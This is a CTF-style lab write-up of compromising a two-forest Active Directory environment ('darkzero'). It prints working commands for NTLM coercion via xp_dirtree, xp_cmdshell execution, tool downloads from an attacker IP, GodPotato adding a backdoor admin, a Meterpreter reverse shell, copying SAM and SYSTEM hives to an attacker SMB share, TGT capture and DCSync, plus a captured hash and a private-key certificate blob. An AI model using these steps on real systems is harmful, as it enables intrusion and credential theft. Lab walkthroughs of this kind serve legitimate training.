Let’s do force authentication (coercion attacks) to our controlled server with xp_dirtree in MSSQL to see if the obtained hash is crackable.We’ll use impacket’s smbserver.py to capture the hash:
Attacker Linux
impacket-smbserver share smb -smb2support
Then, on our MSSQL shell, we use xp_dirtree to list the directory of our SMB server, forcing a NLTM authentication to our server:
MSSQL Client
xp_dirtree \\10.10.14.52\share
On our SMB server, we have successfully captured the Domain Controller’s machine hash, which is likely uncrackable.
SMBServer.py
[*] User DC01\DC01$ authenticated successfully[*] DC01$::darkzero:aaaaaaaaaaaaaaaa:8bfbf59122ef57c4527bd6a65ce3971c:010100000000000000b218f31436dc01f18dae79b472a36f00000000010010006e00750059007400670066006f004d00030010006e00750059007400670066006f004d000200100079004e006b00700063004e00590079000400100079004e006b00700063004e00590079000700080000b218f31436dc0106000400020000000800300030000000000000000000000000300000e001c6bcbd8c83f129e1195f40dfae8dd4a5eb283d34cd4cbe7e243f916bf1bd0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00330036000000000000000000
We can try it with Hashcat anyway:
Attacker Windows
.\hashcat -m 5600 hash.txt rockyou.txt
The rockyou.txt was exhausted. Let’s move on to other attack vectors.
Since we are the sysadmin, we have to privilege to enable xp_cmdshell, which would allow us to execute system commands as the MSSQL server.
MSSQL Client
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> enable_xp_cmdshellINFO(DC02): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.INFO(DC02): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
Success! We can run system command on DC02 now. Let’s run a quick whoami to check which user is running this MSSQL service. It looks like we have a service account.
We first run a quick WinPEAS to see if there is anything interesting. While there was no output that stood out, we can still try to crack the NetNTLMv2 hash of our controlled user regardless. We tried with Hashcat and it cannot be cracked. Let’s move on.
The easiest way to enumerate the internal network is to run Ligolo on our controlled machine. We will first start the proxy server on our attacker Linux:
Attacker Linux
─$ sudo ./proxy -selfcert -laddr 0.0.0.0:8888[sudo] password for kali: WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! WARN[0000] Using self-signed certificates WARN[0000] TLS Certificate fingerprint for ligolo is: 10AA9FB421D64E6F402973B407C6AAA8F74068836BD5A55B6F8B42FA6EBE0174 INFO[0000] Listening on 0.0.0.0:8888 __ _ __ / / (_)___ _____ / /___ ____ ____ _ / / / / __ `/ __ \/ / __ \______/ __ \/ __ `/ / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / /_____/_/\__, /\____/_/\____/ /_/ /_/\__, / /____/ /____/ Made in France ♥ by @Nicocha30! Version: 0.7.1-alpha
Then, we will download the Ligolo agent to the victim machine, and run the agent to connect back to our proxy server.
Use the session command in the Ligolo Interface to interact with our connected agent.
Ligolo Interface
session
To tunnel our traffic through the victim machine like a VPN, we first have to build a network interface for Ligolo:
Ligolo Interface
interface_create --name "ligolo"
We can run the add_route command to route our traffic to the corresponding subnet addresses. Here, for example, all traffics on our attacker Linux towards 172.16.20.0/16 will be routed to the victim machine via the ligolo interface, and act as we are on the same subnet as the victim machine.
We can see that there is a Policy_Backup.inf file in the root directory, which is uncommon.
Victim Windows (DC02)
PS C:\> dir Directory: C:\Mode LastWriteTime Length Name---- ------------- ------ ----d----- 5/8/2021 1:15 AM PerfLogsd-r--- 7/29/2025 7:49 AM Program Filesd----- 7/29/2025 7:48 AM Program Files (x86)d-r--- 7/29/2025 8:23 AM Usersd----- 7/30/2025 3:57 PM Windows-a---- 7/30/2025 6:38 AM 18594 Policy_Backup.inf
The Policy_Backup.inf file contains the privileges on different accounts:
From the policy backup file, our controlled account svc_sql should have SeServiceLogonRight . But running whoami /priv does not return the right.Our user is also in the S-1-5-6 is the NT AUTHORITY\SERVICE group, but again we are missing the privilege.
Checking with whoami /all, we can see that our user is in the NT AUTHORITY\SERVICE group.
Victim Windows (DC02)
Group Name Type SID ========================================== ================ Everyone Well-known group S-1-1-0BUILTIN\Users Alias S-1-5-32-545BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574NT AUTHORITY\SERVICE Well-known group S-1-5-6CONSOLE LOGON Well-known group S-1-2-1NT AUTHORITY\Authenticated Users Well-known group S-1-5-11NT AUTHORITY\This Organization Well-known group S-1-5-15NT SERVICE\MSSQLSERVER Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003LOCAL Well-known group S-1-2-0Authentication authority asserted identity Well-known group S-1-18-
Again, since NT AUTHORITY\SERVICE has the SID S-1-5-6, in theory our user should have the SeImpersonatePrivilege. However we are missing the privileges. It is likely because our current logon token type has been restricted.A quick Google on restoring privilege sets for service account returned the following GitHub repo:
After some research, we learn we have restricted privilege as our current token type is in the interactive logon type (2). To restore the service account’s full privilege, we need to login with a service logon type (5) token.
This can be done with a password login using RunasCs.exe to specify the logon type.
However, we don’t have password now.
By running klist, we note that we have a cached Kerberos ticket. This is good news since it means that we can likely dump out the ticket for Kerberos authentication.
It is possible to change a user password without knowing the current password. We can do it in two ways:
Using mimikatz’s lsadump::changentlm or lsadump::setntlmmodule on the Victim Windows machine, as long as we know the NTLM hash of the user, and the server accepts NTLM authentication.
Using impacket’s changepasswd.py tool on the remote Attacker Linux. Works for both Kerberos & NTLM authentication.
We can run Certify.exe on Windows to extract the valid Kerberos ticket, then either:
Run Rubeus.exe on Windows to extract the NTLM hash of the user.
Use the valid ticket to run remote tools like impacket-changepasswd to directly change the password. In our current scenario, we would also have to run pivoting tools like Ligolo, since the DC is in the unreachable internal network.
Dead-end attempt - Troubleshooting ticket.kirbi from Rubeus (feel free to read along what I did)
Let’s first get Rubeus on the machine.
Victim Windows (DC02)
wget 10.10.14.52/Rubeus.exe -o Rubeus.exe
We will dump out the Kerberos ticket in the .kirbi format.
The KRB-CRED files (.kirbi) are output as base64 blobs and can be reused with the ptt function, or Mimikatz’s kerberos::ptt functionality.
Here, since the ticket’s LoginType is Service (Type 5), the tickets are non-exportable by default in Service Logon token. Therefore, even though we used the /outfile flag, no file was generated.
We got this error when we are trying to save the ticket manually, or using the base64 blob in the command line:
Victim Windows (DC02)
[-] Maximum prompt length is 335 characters. Current prompt is 1923
Since our reverse shell cannot take the long base64 string, we’ll create the ticket file on Linux, and upload the ticket file to the target system.
However, when we try to run Rubeus with the ticket file, the following error was returned:
Victim Windows (DC02)
[!] Unhandled Rubeus exception: Asn1.AsnException: value overflow at Asn1.AsnElt.Decode(Byte[] buf, Int32 off, Int32 maxLen, Int32& tc, Int32& tv, Boolean& cons, Int32& valOff, Int32& valLen) at Asn1.AsnElt.DecodeNoCopy(Byte[] buf, Int32 off, Int32 len) at Asn1.AsnElt.DecodeNoCopy(Byte[] buf, Int32 off, Int32 len) at Asn1.AsnElt.Decode(Byte[] buf, Int32 off, Int32 len, Boolean exactLength) at Rubeus.KRB_CRED..ctor(Byte[] bytes) at Rubeus.Commands.Changepw.Execute(Dictionary`2 arguments) at Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName, Dictionary`2 arguments) at Rubeus.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)
From LLM: This ASN.1 “value overflow” error typically means the ticket you’re feeding into changepw is not a valid KRB_CRED structure, even if it looks like a ticket.
Oh, so the base64 blob is not a valid .kirbi file by itself. We have to decode it into the raw binary:
Running Certify.exe to request a valid login certificate:
Regardless, we can use Certify.exe to use the current cached ticket on Windows to request for a valid login certificate. We will run the enum-cas module to check the name of the CA, which is darkzero.ext\darkzero-ext-DC02-CA.
We will then request a valid user login certificate.
Victim Windows (DC02)
.\Certify.exe request --ca darkzero.ext\darkzero-ext-DC02-CA --template user _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v2.0.0 [*] Action: Request a certificate[*] Current user context : darkzero-ext\svc_sql[*] No subject name specified, using current context as subject.[*] Template : user[*] Subject : CN=svc_sql, CN=Users, DC=darkzero, DC=ext[*] Certificate Authority : darkzero.ext\darkzero-ext-DC02-CA[*] CA Response : The certificate has been issued.[*] Request ID : 3[*] Certificate (PFX) :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Certify completed in 00:00:10.7667918
The above Base64 output can be used in Rubeus. But again due to the input limit, we can’t use the base64 string directly in our reverse shell. However, we can actually use the following command to extract the base64 ticket on Windows. We first save the whole Certify.exe output with --out-file:
Victim Windows (DC02)
.\Certify.exe request --ca darkzero.ext\darkzero-ext-DC02-CA --template user --out-file output.txt
We then use Regex to extract only the Base64 value from the output:
Victim Windows (DC02)
type output.txt | findstr /R "^[A-Za-z0-9+/=][A-Za-z0-9+/=]*$" > .\base64.txt
We still have to decode the base64 string to extract the certificate in binary form:
Victim Windows (DC02)
certutil -f -decode .\base64.txt .\cert.pfx
Now, we can use Rubeus’s asktgt module to extract the user’s NTLM hash using the /getcredentials flag. We have now extracted the svc_sql user’s NTLM hash, and we will use that to obtain a cleartext password for changing our logon type.
With the new password, we can now use RunasCs.exe:
Victim Windows (DC02)
wget 10.10.14.52/RunasCs.exe -o RunasCs.exe
We can run a shell to with logon type 5. We must run with the flag --bypass-uac to spawn the process without token limitations. This will essentially give us back our privileges.
We now got a privileged shell that we can run impersonation attacks with Potatoes.
Victim Windows (DC02)
PS C:\Users\svc_sql> whoami /privwhoami /privPRIVILEGES INFORMATION----------------------Privilege Name Description State ============================= ========================================= ========SeMachineAccountPrivilege Add workstations to domain DisabledSeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Note that .NET version of the GodPotato binary has to match with the .NET version installed on the target machine. We can check that with the following command.
Victim Windows (DC02) - New Shell from RunasCs.exe
While you can do things like starting a reverse shell, I prefer adding a new administrator user, since GodPotato often cannot run stable reverse shells.
Victim Windows (DC02) - New Shell from RunasCs.exe
.\GodPotato.exe -cmd "cmd /c net user hacker password123! /add && net localgroup administrators hacker /add"
There is also an unintended privilege escalation path that exploits a kernel vulnerability. This can be discovered via Metasploit’s local_exploit_suggester module.We first generate a Meterpreter reverse shell payload for Windows. We then upload the generated payload to DC02.
We then start a multi/handler on Metasploit and start a Meterpreter shell. Remember to correct set the payload.
msfconsole
set payload windows/x64/meterpreter/reverse_tcp
Then, we can use the following module to exploit this unpatched kernel exploit. I used windows/x64/shell_reverse_tcp as the payload and set up a non-Meterpreter listener to make things easier.
With the system shell, we can dump the SAM hive locally to extract NTLM hashes. We will then use the same file transfer method to copy the dumped hives to our SMB share.
Victim Windows (DC02)
reg save hklm\system system.hivereg save hklm\sam sam.hivenet use Z: \\10.10.14.52\share /user:test testcopy sam.hive \\10.10.14.52\share\copy system.hive \\10.10.14.52\share\
We can then extract the NTLM hashes on our Attacker Linux using impacket’s secretsdump.py.
Attempting to request for login certificate as Administrator
Since we have cross-forest trust, maybe we can directly request for a domain administrator TGT? The answer is no, and this will fail since this is not how cross-domain trust works. Our DC02 admin credentials do not grant us domain administrator rights on DC01.
Essentially, in a two-way (bidirectional) trusted forest, users from one forest can authenticate to another forest’s resource. Kerberos TGT issued by either forest can also flow between forest.
If we controlled one of the forest, and a privileged user of the other forest authenticate to our controlled forest with their TGT due to the trust relationship, we can capture and dump their ticket.
With the privileged ticket, we can then authenticate to the original forest as the privileged user.
Combining this with coercion attacks, we can essentially force the Domain Controller of target forest to authenticate to our controlled forest DC, and capture the TGT of the DC machine.
On our System shell of DC02, we can run Rubeus’s monitor module to capture any incoming authentication to capture their TGT. We will run Rubeus.exe on DC02 in an elevated shell (i.e. system shell).
Victim Windows (DC02) - System Shell
.\Rubeus.exe monitor /interval:5
We now can force the target DC (DC01) to authenticate to DC02. We can try running SpoolSample.exe on another shell on DC02. Unfortunately this didn’t work, as the printspooler service was not running on the machine.
Check if the target is vulnerable to Force Authentication
Luckily, NetExec has a module that can perform all coerce attacks. While DC02 is not vulnerable to the printer bugs, it is vulnerable to the other coercion attacks.
Again, on our System shell of DC02, we can run Rubeus’s monitor module to capture any incoming authentication to capture their TGT.
Victim Windows (DC02) - System Shell
.\Rubeus.exe monitor /interval:5
We can use the same module from NetExec to initiate the authentication. The -o flag is used to specify the module options. Here, we have to set the L= for the target listener, i.e., where the victim machine will be authenticating to.
Lastly, with the injected DC01$ machine TGT, we can perform a DCSync attack on DC01 using mimikatz. Remember to run privilege::debug to ensure we have enough privileges. We have successfully dumped NTLM hash of the Administrator of DC01.
Using the “UnPAC the hash” technique, we can retrieve the NTLM hash of a controlled service account by retrieve its Kerberos ticket (either by dumping or requesting), request a client-authentication certificate, and request a TGT to extract the NTLM hashes within the ticket.We can achieve this by Certify.exe + Rubeus.exe on Windows.
Victim Windows (DC02)
.\Certify.exe request --ca darkzero.ext\darkzero-ext-DC02-CA --template user --out-file output.txt
The cached ticket is used automatically if we are running this on the machine.
We then use Regex to extract only the Base64 value from the output:
Victim Windows (DC02)
type output.txt | findstr /R "^[A-Za-z0-9+/=][A-Za-z0-9+/=]*$" > .\base64.txt
We still have to decode the base64 string to extract the certificate in binary form:
Victim Windows (DC02)
certutil -f -decode .\base64.txt .\cert.pfx
Now, we can use Rubeus’s asktgt module to extract the user’s NTLM hash using the /getcredentials flag:
For 2-way Cross Forest Trusts, we can abuse Unconstrained Delegation to obtain the TGT of another domain’s DC.
Basically we run a listener on our controlled DC, and force the target DC in the other forest to authenticate to our controlled DC. Since 2-way cross forest trusts are established, the target DC will authenticate to us using the same TGT that it will be using in it’s own forest. By capture the TGT, we can authenticate to the target forest as the target DC.
Always run all different coercion attacks when trying to trigger force authentication. Attacks like SpoolSample will not work if there is no printspooler service running on the machine.